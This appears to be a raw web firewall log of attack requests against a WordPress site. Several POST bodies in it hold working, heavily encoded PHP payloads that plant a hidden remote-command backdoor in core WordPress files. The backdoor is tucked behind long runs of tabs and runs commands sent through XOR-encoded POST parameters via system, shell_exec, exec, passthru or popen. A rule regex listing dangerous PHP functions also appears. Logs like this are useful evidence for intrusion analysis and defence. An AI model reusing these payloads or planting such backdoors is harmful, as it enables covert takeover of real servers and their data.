%2524approve_request%2520%253D%2520%2522h%255Cx65x%255Cx32%255Cx62%255Cx69n%2522%253B%2520%2524event_dispatcher7%2520%253D%2520%2522p%255Cx63lo%255Cx73e%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522fa%255Cx63t%255Cx6Fr%2522%255D%2529%2529%2520%257B%2520function%2520dataflow_engine%2520%2528%2520%2524obj%2520%252C%2520%2524descriptor%2520%2529%2520%257B%2520%2524comp%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524obj%2529%2520as%2520%2524char%2529%257B%2524comp.%253Dchr%2528ord%2528%2524char%2529%255E%2524descriptor%2529%253B%257D%2520return%2520%2524comp%253B%2520%257D%2520%2524factor%2520%253D%2520%2524approve_request%2528%2524_POST%255B%2522fa%255Cx63t%255Cx6Fr%2522%255D%2529%253B%2520%2524factor%2520%253D%2520dataflow_engine%2528%2524factor%252C%252013%2529%253B%2520if%2520%2528function_exists%2528%2524event_dispatcher1%2529%2529%2520%257B%2520%2524event_dispatcher1%2528%2524factor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher2%2529%2529%2520%257B%2520print%2520%2524event_dispatcher2%2528%2524factor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher3%2529%2529%2520%257B%2520%2524event_dispatcher3%2528%2524factor%252C%2520%2524entry_obj%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524entry_obj%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher4%2529%2529%2520%257B%2520%2524event_dispatcher4%2528%2524factor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher5%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher6%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher7%2529%2529%2520%257B%2520%2524descriptor_comp%2520%253D%2520%2524event_dispatcher5%2528%2524factor%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524descriptor_comp%2529%2520%257B%2520%2524k_pointer%2520%253D%2520%2524event_dispatcher6%2528%2524descriptor_comp%2529%253B%2520%2524event_dispatcher7%2528%2524descriptor_comp%2529%253B%2520print%2520%2524k_pointer%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-fetch-dest:document\nsec-ch-ua-mobile:?0\nsec-fetch-user:?1\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-mode:navigate\ncontent-length:5370\nhost:dewenlabels.com\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Curve25519\/H.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_dispatcher5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524event_dispatcher1%2520%253D%2520%2522sy%255Cx73%255Cx74e%255Cx6D%2522%253B%2520%2524event_dispatcher3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524event_dispatcher6%2520%253D%2520%2522s%255Cx74%255Cx72eam%255Cx5F%255Cx67e%255Cx74_%255Cx63o%255Cx6E%255Cx74e%255Cx6Et%255Cx73%2522%253B%2520%2524event_dispatcher4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73%255Cx73thru%2522%253B%2520%2524event_dispatcher2%2520%253D%2520%2522%255Cx73h%255Cx65%255Cx6C%255Cx6C_e%255Cx78ec%2522%253B%2520%2524approve_request%2520%253D%2520%2522h%255Cx65x%255Cx32%255Cx62%255Cx69n%2522%253B%2520%2524event_dispatcher7%2520%253D%2520%2522p%255Cx63lo%255Cx73e%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522fa%255Cx63t%255Cx6Fr%2522%255D%2529%2529%2520%257B%2520function%2520dataflow_engine%2520%2528%2520%2524obj%2520%252C%2520%2524descriptor%2520%2529%2520%257B%2520%2524comp%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524obj%2529%2520as%2520%2524char%2529%257B%2524comp.%253Dchr%2528ord%2528%2524char%2529%255E%2524descriptor%2529%253B%257D%2520return%2520%2524comp%253B%2520%257D%2520%2524factor%2520%253D%2520%2524approve_request%2528%2524_POST%255B%2522fa%255Cx63t%255Cx6Fr%2522%255D%2529%253B%2520%2524factor%2520%253D%2520dataflow_engine%2528%2524factor%252C%252013%2529%253B%2520if%2520%2528function_exists%2528%2524event_dispatcher1%2529%2529%2520%257B%2520%2524event_dispatcher1%2528%2524factor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher2%2529%2529%2520%257B%2520print%2520%2524event_dispatcher2%2528%2524factor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher3%2529%2529%2520%257B%2520%2524event_dispatcher3%2528%2524factor%252C%2520%2524entry_obj%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524entry_obj%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher4%2529%2529%2520%257B%2520%2524event_dispatcher4%2528%2524factor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher5%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher6%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher7%2529%2529%2520%257B%2520%2524descriptor_comp%2520%253D%2520%2524event_dispatcher5%2528%2524factor%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524descriptor_comp%2529%2520%257B%2520%2524k_pointer%2520%253D%2520%2524event_dispatcher6%2528%2524descriptor_comp%2529%253B%2520%2524event_dispatcher7%2528%2524descriptor_comp%2529%253B%2520print%2520%2524k_pointer%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 13:46:55","54.36.177.228","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Xb:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-recovery-mode-email-service.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524unit_converter7%2520%253D%2520%2522%255Cx70%255Cx63l%255Cx6Fse%2522%253B%2520%2524unit_converter2%2520%253D%2520%2522%255Cx73%255Cx68%255Cx65%255Cx6C%255Cx6C_exec%2522%253B%2520%2524unit_converter6%2520%253D%2520%2522st%255Cx72%255Cx65a%255Cx6D%255Cx5F%255Cx67%255Cx65t%255Cx5F%255Cx63on%255Cx74%255Cx65nts%2522%253B%2520%2524unit_converter1%2520%253D%2520%2522s%255Cx79%255Cx73t%255Cx65m%2522%253B%2520%2524unit_converter3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524unit_converter4%2520%253D%2520%2522%255Cx70%255Cx61sst%255Cx68%255Cx72u%2522%253B%2520%2524unit_converter5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524service_registry%2520%253D%2520%2522%255Cx68ex2bi%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx70ro%255Cx70%255Cx65%255Cx72%255Cx74y%255Cx5Fset%2522%255D%2529%2529%2520%257B%2520function%2520reverse_searcher%2520%2528%2520%2524ent%2520%252C%2520%2524flg%2520%2529%2520%257B%2520%2524token%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524s%253D0%253B%2520%2524s%253Cstrlen%2528%2524ent%2529%253B%2520%2524s%252B%252B%2529%257B%2520%2524token.%253Dchr%2528ord%2528%2524ent%255B%2524s%255D%2529%255E%2524flg%2529%253B%2520%257D%2520return%2520%2524token%253B%2520%257D%2520%2524property_set%2520%253D%2520%2524service_registry%2528%2524_POST%255B%2522%255Cx70ro%255Cx70%255Cx65%255Cx72%255Cx74y%255Cx5Fset%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520reverse_searcher%2528%2524property_set%252C%252089%2529%253B%2520if%2520%2528function_exists%2528%2524unit_converter1%2529%2529%2520%257B%2520%2524unit_converter1%2528%2524property_set%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524unit_converter2%2529%2529%2520%257B%2520print%2520%2524unit_converter2%2528%2524property_set%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524unit_converter3%2529%2529%2520%257B%2520%2524unit_converter3%2528%2524property_set%252C%2520%2524k_ent%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524k_ent%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524unit_converter4%2529%2529%2520%257B%2520%2524unit_converter4%2528%2524property_set%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524unit_converter5%2529%2520%2526%2526%2520function_exists%2528%2524unit_converter6%2529%2520%2526%2526%2520function_exists%2528%2524unit_converter7%2529%2529%2520%257B%2520%2524flg_token%2520%253D%2520%2524unit_converter5%2528%2524property_set%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524flg_token%2529%2520%257B%2520%2524bind_symbol%2520%253D%2520%2524unit_converter6%2528%2524flg_token%2529%253B%2520%2524unit_converter7%2528%2524flg_token%2529%253B%2520print%2520%2524bind_symbol%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJTVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\nsec-fetch-dest:document\nsec-ch-ua-platform:\"macOS\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:5475\nsec-fetch-user:?1\n\nXb=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-recovery-mode-email-service.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524unit_converter7%2520%253D%2520%2522%255Cx70%255Cx63l%255Cx6Fse%2522%253B%2520%2524unit_converter2%2520%253D%2520%2522%255Cx73%255Cx68%255Cx65%255Cx6C%255Cx6C_exec%2522%253B%2520%2524unit_converter6%2520%253D%2520%2522st%255Cx72%255Cx65a%255Cx6D%255Cx5F%255Cx67%255Cx65t%255Cx5F%255Cx63on%255Cx74%255Cx65nts%2522%253B%2520%2524unit_converter1%2520%253D%2520%2522s%255Cx79%255Cx73t%255Cx65m%2522%253B%2520%2524unit_converter3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524unit_converter4%2520%253D%2520%2522%255Cx70%255Cx61sst%255Cx68%255Cx72u%2522%253B%2520%2524unit_converter5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524service_registry%2520%253D%2520%2522%255Cx68ex2bi%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx70ro%255Cx70%255Cx65%255Cx72%255Cx74y%255Cx5Fset%2522%255D%2529%2529%2520%257B%2520function%2520reverse_searcher%2520%2528%2520%2524ent%2520%252C%2520%2524flg%2520%2529%2520%257B%2520%2524token%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524s%253D0%253B%2520%2524s%253Cstrlen%2528%2524ent%2529%253B%2520%2524s%252B%252B%2529%257B%2520%2524token.%253Dchr%2528ord%2528%2524ent%255B%2524s%255D%2529%255E%2524flg%2529%253B%2520%257D%2520return%2520%2524token%253B%2520%257D%2520%2524property_set%2520%253D%2520%2524service_registry%2528%2524_POST%255B%2522%255Cx70ro%255Cx70%255Cx65%255Cx72%255Cx74y%255Cx5Fset%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520reverse_searcher%2528%2524property_set%252C%252089%2529%253B%2520if%2520%2528function_exists%2528%2524unit_converter1%2529%2529%2520%257B%2520%2524unit_converter1%2528%2524property_set%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524unit_converter2%2529%2529%2520%257B%2520print%2520%2524unit_converter2%2528%2524property_set%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524unit_converter3%2529%2529%2520%257B%2520%2524unit_converter3%2528%2524property_set%252C%2520%2524k_ent%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524k_ent%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524unit_converter4%2529%2529%2520%257B%2520%2524unit_converter4%2528%2524property_set%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524unit_converter5%2529%2520%2526%2526%2520function_exists%2528%2524unit_converter6%2529%2520%2526%2526%2520function_exists%2528%2524unit_converter7%2529%2529%2520%257B%2520%2524flg_token%2520%253D%2520%2524unit_converter5%2528%2524property_set%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524flg_token%2529%2520%257B%2520%2524bind_symbol%2520%253D%2520%2524unit_converter6%2528%2524flg_token%2529%253B%2520%2524unit_converter7%2528%2524flg_token%2529%253B%2520print%2520%2524bind_symbol%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:46:59","107.155.87.193","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> jX:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-recovery-mode-email-service.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524unit_converter7%2520%253D%2520%2522%255Cx70%255Cx63l%255Cx6Fse%2522%253B%2520%2524unit_converter2%2520%253D%2520%2522%255Cx73%255Cx68%255Cx65%255Cx6C%255Cx6C_exec%2522%253B%2520%2524unit_converter6%2520%253D%2520%2522st%255Cx72%255Cx65a%255Cx6D%255Cx5F%255Cx67%255Cx65t%255Cx5F%255Cx63on%255Cx74%255Cx65nts%2522%253B%2520%2524unit_converter1%2520%253D%2520%2522s%255Cx79%255Cx73t%255Cx65m%2522%253B%2520%2524unit_converter3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524unit_converter4%2520%253D%2520%2522%255Cx70%255Cx61sst%255Cx68%255Cx72u%2522%253B%2520%2524unit_converter5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524service_registry%2520%253D%2520%2522%255Cx68ex2bi%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx70ro%255Cx70%255Cx65%255Cx72%255Cx74y%255Cx5Fset%2522%255D%2529%2529%2520%257B%2520function%2520reverse_searcher%2520%2528%2520%2524ent%2520%252C%2520%2524flg%2520%2529%2520%257B%2520%2524token%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524s%253D0%253B%2520%2524s%253Cstrlen%2528%2524ent%2529%253B%2520%2524s%252B%252B%2529%257B%2520%2524token.%253Dchr%2528ord%2528%2524ent%255B%2524s%255D%2529%255E%2524flg%2529%253B%2520%257D%2520return%2520%2524token%253B%2520%257D%2520%2524property_set%2520%253D%2520%2524service_registry%2528%2524_POST%255B%2522%255Cx70ro%255Cx70%255Cx65%255Cx72%255Cx74y%255Cx5Fset%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520reverse_searcher%2528%2524property_set%252C%252089%2529%253B%2520if%2520%2528function_exists%2528%2524unit_converter1%2529%2529%2520%257B%2520%2524unit_converter1%2528%2524property_set%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524unit_converter2%2529%2529%2520%257B%2520print%2520%2524unit_converter2%2528%2524property_set%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524unit_converter3%2529%2529%2520%257B%2520%2524unit_converter3%2528%2524property_set%252C%2520%2524k_ent%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524k_ent%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524unit_converter4%2529%2529%2520%257B%2520%2524unit_converter4%2528%2524property_set%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524unit_converter5%2529%2520%2526%2526%2520function_exists%2528%2524unit_converter6%2529%2520%2526%2526%2520function_exists%2528%2524unit_converter7%2529%2529%2520%257B%2520%2524flg_token%2520%253D%2520%2524unit_converter5%2528%2524property_set%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524flg_token%2529%2520%257B%2520%2524bind_symbol%2520%253D%2520%2524unit_converter6%2528%2524flg_token%2529%253B%2520%2524unit_converter7%2528%2524flg_token%2529%253B%2520print%2520%2524bind_symbol%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnytvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\nsec-fetch-dest:document\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:5475\nsec-fetch-user:?1\n\njX=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-recovery-mode-email-service.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524unit_converter7%2520%253D%2520%2522%255Cx70%255Cx63l%255Cx6Fse%2522%253B%2520%2524unit_converter2%2520%253D%2520%2522%255Cx73%255Cx68%255Cx65%255Cx6C%255Cx6C_exec%2522%253B%2520%2524unit_converter6%2520%253D%2520%2522st%255Cx72%255Cx65a%255Cx6D%255Cx5F%255Cx67%255Cx65t%255Cx5F%255Cx63on%255Cx74%255Cx65nts%2522%253B%2520%2524unit_converter1%2520%253D%2520%2522s%255Cx79%255Cx73t%255Cx65m%2522%253B%2520%2524unit_converter3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524unit_converter4%2520%253D%2520%2522%255Cx70%255Cx61sst%255Cx68%255Cx72u%2522%253B%2520%2524unit_converter5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524service_registry%2520%253D%2520%2522%255Cx68ex2bi%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx70ro%255Cx70%255Cx65%255Cx72%255Cx74y%255Cx5Fset%2522%255D%2529%2529%2520%257B%2520function%2520reverse_searcher%2520%2528%2520%2524ent%2520%252C%2520%2524flg%2520%2529%2520%257B%2520%2524token%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524s%253D0%253B%2520%2524s%253Cstrlen%2528%2524ent%2529%253B%2520%2524s%252B%252B%2529%257B%2520%2524token.%253Dchr%2528ord%2528%2524ent%255B%2524s%255D%2529%255E%2524flg%2529%253B%2520%257D%2520return%2520%2524token%253B%2520%257D%2520%2524property_set%2520%253D%2520%2524service_registry%2528%2524_POST%255B%2522%255Cx70ro%255Cx70%255Cx65%255Cx72%255Cx74y%255Cx5Fset%2522%255D%2529%253B